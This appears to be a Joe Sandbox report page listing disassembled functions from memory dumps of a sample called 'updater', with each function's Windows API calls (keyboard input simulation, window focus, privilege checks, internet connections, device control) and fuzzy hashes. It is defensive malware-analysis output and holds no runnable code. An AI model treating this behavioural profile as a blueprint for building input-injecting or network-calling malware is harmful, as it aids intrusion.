Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 6d46b23973006a8dd10d7281a8f495bf8931f26d5e969b072510af469ef8a867
Instruction ID: 7f1ac62fc412e28f961eae0866ea7ad0e3a5b66e9782742f9173844343438190
Opcode Fuzzy Hash: 6d46b23973006a8dd10d7281a8f495bf8931f26d5e969b072510af469ef8a867
Instruction Fuzzy Hash: 5B31D438660308AFEF209A98CC45FAC37A6EB09320F244501FA25D61E1CF75DA58CA51

Function 0125780D Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 01257829
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0125784D
GetModuleFileNameA.KERNEL32(00BB0000,?,00000105), ref: 01257868
LoadStringA.USER32(00000000,0000FFE8,?,00000100), ref: 0125790C

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 062f188216bd8648aa674f63c54e96e66fdc6c9a4a14154d449d9432ed4db736
Instruction ID: d8e39900142394ad92b9df8a605c33f7ebac8b646ea1f93239bff8eeb628dc00
Opcode Fuzzy Hash: 062f188216bd8648aa674f63c54e96e66fdc6c9a4a14154d449d9432ed4db736
Instruction Fuzzy Hash: CA410971E602599FDBA1EB68DCC8BEDB7B9AB58340F4440E5AA08E7240D7709F84CF51

Function 0125780B Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 01257829
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0125784D
GetModuleFileNameA.KERNEL32(00BB0000,?,00000105), ref: 01257868
LoadStringA.USER32(00000000,0000FFE8,?,00000100), ref: 0125790C

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: f59f745867240820c71ebd031a39e0b89498e8ddd6e989c4aecb8afd7bf455ab
Instruction ID: f2a3979e8facde3a347cd7cb3737dce1fb74236e8448a4c96266402cf982faf9
Opcode Fuzzy Hash: f59f745867240820c71ebd031a39e0b89498e8ddd6e989c4aecb8afd7bf455ab
Instruction Fuzzy Hash: 2841FD70A502599FDB61EB68DCC8BEDB7F9AB58340F4440E5AA08E7250D7709F84CF51

Function 00C3B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(011E0F68,?), ref: 00C3B1D2
GetWindowRect.USER32(?,?), ref: 00C3B248
PtInRect.USER32(?,?,00C3C6BC), ref: 00C3B258
MessageBeep.USER32(00000000), ref: 00C3B2C9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 07341c048243b64c848b1b76264828f2f101fd16389ac8e8f8d29ad960a0b97b
Instruction ID: d250a09c0ab9551a3aa40d225390ba8e0bb719db985b7d541c3951558463c2ef
Opcode Fuzzy Hash: 07341c048243b64c848b1b76264828f2f101fd16389ac8e8f8d29ad960a0b97b
Instruction Fuzzy Hash: F0416D30A14119DFDB11CF99C884BAE7BF5FF89350F1882A9EA289B251D732AD41CF51

Function 00C112D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00C11326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00C11342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00C113A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00C113FA

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 09c44fa82b28b484d82dd81c19d715b31c1d2bb04ccf3440d739051f6f97705b
Instruction ID: 2871e35217e5c5260d0c46dc90cace2945689c3d7da95ff8534af7b8585a6463
Opcode Fuzzy Hash: 09c44fa82b28b484d82dd81c19d715b31c1d2bb04ccf3440d739051f6f97705b
Instruction Fuzzy Hash: E1314D30944208AEFF30C6258C057FDBBA5AB47310F9C421AEAB0525E9D37C8AC1BB95

Function 00C11410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 00C11465
SetKeyboardState.USER32(00000080,?,00008000), ref: 00C11481
PostMessageW.USER32(00000000,00000101,00000000), ref: 00C114E0
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 00C11532

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 8b6629060e70e520adff82bf488b87af968656bdc4ca0990574c00c5c599e530
Instruction ID: 47855fd09e17ee978b4a8598a47cc50a5053d2dd33c43b570675105d4da8e5fa
Opcode Fuzzy Hash: 8b6629060e70e520adff82bf488b87af968656bdc4ca0990574c00c5c599e530
Instruction Fuzzy Hash: 08315E309402185EFF34CA658C047FEBB66AB87710F1C831AEAA1521D1C37C8AD1BBA1

Function 00BE63F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00BE642B
__isleadbyte_l.LIBCMT ref: 00BE6459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00BE6487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00BE64BD

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 3e6b1addb7ac789993024ace2285b7220987b6d86274ac149c56a2ea2e7b5128
Instruction ID: 2dfd5af19fd85787cdd72a91103fac7fce172c06809aaec74d62c961717a5f18
Opcode Fuzzy Hash: 3e6b1addb7ac789993024ace2285b7220987b6d86274ac149c56a2ea2e7b5128
Instruction Fuzzy Hash: 1831B031600296AFDB218F66CC85BAA7FF5FF513A0F1540A9E864872D1EB31ED50DB50

Function 01258925 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetStringTypeA.KERNEL32(00000C00,00000002,?,00000080,?), ref: 01258A1F
GetThreadLocale.KERNEL32 ref: 0125894F

Part of subcall function 012588AD: GetCPInfo.KERNEL32(00000000,?), ref: 012588C6

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: fc42a402fe4886a5e54c7205213328120ea438e8cc2daa3d9e426072aafa8656
Instruction ID: 0f17302cedc2dbc08e82f0b14ebb04805bbe4845493f266fbcee308fbae4bb50
Opcode Fuzzy Hash: fc42a402fe4886a5e54c7205213328120ea438e8cc2daa3d9e426072aafa8656
Instruction Fuzzy Hash: 83315C615203478BD360EB79BC85BB63BA4EB91340F44C051DEE4FB3D9DAB44844CB92

Function 00C3552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00C3553F

Part of subcall function 00C13B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00C13B4E
Part of subcall function 00C13B34: GetCurrentThreadId.KERNEL32 ref: 00C13B55
Part of subcall function 00C13B34: AttachThreadInput.USER32(00000000,?,00C155C0), ref: 00C13B5C

GetCaretPos.USER32(?), ref: 00C35550
ClientToScreen.USER32(00000000,?), ref: 00C3558B
GetForegroundWindow.USER32 ref: 00C35591

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 15d7fe7e235fa9f8908f94fc8ae85fb4e0b11d31925298642e3679df1cca8222
Instruction ID: 679af7700c5a6c0930f124c8f65608e992898241473d932107648cf03358b04b
Opcode Fuzzy Hash: 15d7fe7e235fa9f8908f94fc8ae85fb4e0b11d31925298642e3679df1cca8222
Instruction Fuzzy Hash: F2313071D00108AFDB00EFB5D885AEFB7F9EF55304F10446AE515E7242EBB5AE408BA0

Function 00C3CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

GetCursorPos.USER32(?), ref: 00C3CB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00BEBCEC,?,?,?,?,?), ref: 00C3CB8F
GetCursorPos.USER32(?), ref: 00C3CBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00BEBCEC,?,?,?), ref: 00C3CC16

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 959928a8df8aa26a887f9b0e50f45cfe439cd31f87094101a3d097516d4e8e1a
Instruction ID: 516b1162d3063730ca7d1c07fedc8cb570fa05e26ca383745982de276db6c0ac
Opcode Fuzzy Hash: 959928a8df8aa26a887f9b0e50f45cfe439cd31f87094101a3d097516d4e8e1a
Instruction Fuzzy Hash: 5631BD35610018AFCB158F59C889EFEBBB5FB0A310F1440A9F919AB261C3319E50EFA0

Function 00BD0BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00BD0BE2

Part of subcall function 00BC402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00C17E51,?,?,00000000), ref: 00BC4041
Part of subcall function 00BC402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00C17E51,?,?,00000000,?,?), ref: 00BC4065

_fprintf.LIBCMT ref: 00BD0C19
OutputDebugStringW.KERNEL32(?), ref: 00C0694C

Part of subcall function 00BD4CCA: _flsall.LIBCMT ref: 00BD4CE3

__setmode.LIBCMT ref: 00BD0C4E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 517c43e9793d6dae9655cc019537e547f3f16eb55dd515f3ce814c11d065dec8
Instruction ID: 2546db44e2a37d89da24472e5f82fdf820af2eb14b099412ac429bc6e0258ee0
Opcode Fuzzy Hash: 517c43e9793d6dae9655cc019537e547f3f16eb55dd515f3ce814c11d065dec8
Instruction Fuzzy Hash: 7A11D571A041046BD708B7A4AC47BBEBBA9EF41321F1401EBF214563C2EF715D9697A1

Function 00C09274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C08D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00C08D3F
Part of subcall function 00C08D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00C08D49
Part of subcall function 00C08D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00C08D58
Part of subcall function 00C08D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00C08D5F
Part of subcall function 00C08D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00C08D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00C092C1
_memcmp.LIBCMT ref: 00C092E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00C0931A
HeapFree.KERNEL32(00000000), ref: 00C09321

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 88383708a38db24c9583b3f5206868e69f306719142bd972ede485db7a9bdd5a
Instruction ID: cd73e91b479218f6a0470ea3e71faeff866c6261cc4fea323c964d0ca8f1cb99
Opcode Fuzzy Hash: 88383708a38db24c9583b3f5206868e69f306719142bd972ede485db7a9bdd5a
Instruction Fuzzy Hash: 5B21AF71E40109EFDB10DFA4C945BEEB7B8FF45301F144059E895A72A2D770AA05CF90

Function 00C21E33 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00C21E6F

Part of subcall function 00C21EF9: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00C21F18
Part of subcall function 00C21EF9: InternetCloseHandle.WININET(00000000), ref: 00C21FB5

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 4180d775c971c6849a07f3d50ae98c8aef7292f7106fa64f995d4886527f7064
Instruction ID: 5dbc0897a7c96a821ddaece7442efa5db570daa78107b1ebd2746e3c91eb42e1
Opcode Fuzzy Hash: 4180d775c971c6849a07f3d50ae98c8aef7292f7106fa64f995d4886527f7064
Instruction Fuzzy Hash: C7212335240615BFDB119F60EC05FBBB7AEFF94700F19001AFE1196A50CB71E910ABA0

Function 00C13F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00C42C4C), ref: 00C13F57
GetLastError.KERNEL32 ref: 00C13F66
CreateDirectoryW.KERNEL32(?,00000000), ref: 00C13F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00C42C4C), ref: 00C13FD2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: ecb58837b7c7d9325556448b15e9a99ed24ca57637dbd04de48c625b10f63048
Instruction ID: d4cb2795ae18d8ab274b98c844bcffaf3b46152bc962ff3ac85c0fc2247510c9
Opcode Fuzzy Hash: ecb58837b7c7d9325556448b15e9a99ed24ca57637dbd04de48c625b10f63048
Instruction Fuzzy Hash: AA21A2749082019F8310DF68C8819AEB7F8FE57328F104A9DF4A4D72A2D7309A87DB42

Function 00C3634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00C363BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00C363D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00C363E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00C363F3

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 1248f50bd6969e874967ed4b3416013c16178c5b4a4ebeee4aa6f8127c5f2602
Instruction ID: 1451a1bb4da07ec2e87300234abdbc2e18cb1f2315f362187c9a2a8bd860b7be
Opcode Fuzzy Hash: 1248f50bd6969e874967ed4b3416013c16178c5b4a4ebeee4aa6f8127c5f2602
Instruction Fuzzy Hash: D011E135354414AFD704AB24CC44FBE7799EF46320F148118FA26CB2E2CBB0AD00CB95

Function 00C0E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C0F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00C0E46F,?,?,?,00C0F262,00000000,000000EF,00000119,?,?), ref: 00C0F867
Part of subcall function 00C0F858: lstrcpyW.KERNEL32(00000000,?,?,00C0E46F,?,?,?,00C0F262,00000000,000000EF,00000119,?,?,00000000), ref: 00C0F88D
Part of subcall function 00C0F858: lstrcmpiW.KERNEL32(00000000,?,00C0E46F,?,?,?,00C0F262,00000000,000000EF,00000119,?,?), ref: 00C0F8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00C0F262,00000000,000000EF,00000119,?,?,00000000), ref: 00C0E488
lstrcpyW.KERNEL32(00000000,?,?,00C0F262,00000000,000000EF,00000119,?,?,00000000), ref: 00C0E4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,00C0F262,00000000,000000EF,00000119,?,?,00000000), ref: 00C0E4E2

Strings

cdecl, xrefs: 00C0E4D9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 206a3db86b6f751bd4541b8e8155dfa78acc00f1ed2300d0e482cca2173b104e
Instruction ID: a2b773b73a9a117ba291fd0cd38ea5e11305e2e3eb5d312ff4831ca248630d51
Opcode Fuzzy Hash: 206a3db86b6f751bd4541b8e8155dfa78acc00f1ed2300d0e482cca2173b104e
Instruction Fuzzy Hash: 2C11D03A200345AFDB25AFA4DC45E7E77A8FF46350B50842AF916CB2E0EB719940DB91

Function 00BE5312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00BE5331

Part of subcall function 00BD593C: __FF_MSGBANNER.LIBCMT ref: 00BD5953
Part of subcall function 00BD593C: __NMSG_WRITE.LIBCMT ref: 00BD595A
Part of subcall function 00BD593C: RtlAllocateHeap.NTDLL(011B0000,00000000,00000001,?,00000004,?,?,00BD1003,?), ref: 00BD597F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 609a3fe648bef7ca823d3eeead5c263a160ad08e732876de9e2801ae40a04947
Instruction ID: 6b7d355df79e6a823a395cafdc185a00530545c5762717fa6194fab7808c51d8
Opcode Fuzzy Hash: 609a3fe648bef7ca823d3eeead5c263a160ad08e732876de9e2801ae40a04947
Instruction Fuzzy Hash: 05112B31405E45AFCB302F71AC4175E7BD4AF113A5F2005EBF50A962E1EFB089408754

Function 00C14365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00C14385
_memset.LIBCMT ref: 00C143A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00C143F8
CloseHandle.KERNEL32(00000000), ref: 00C14401

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
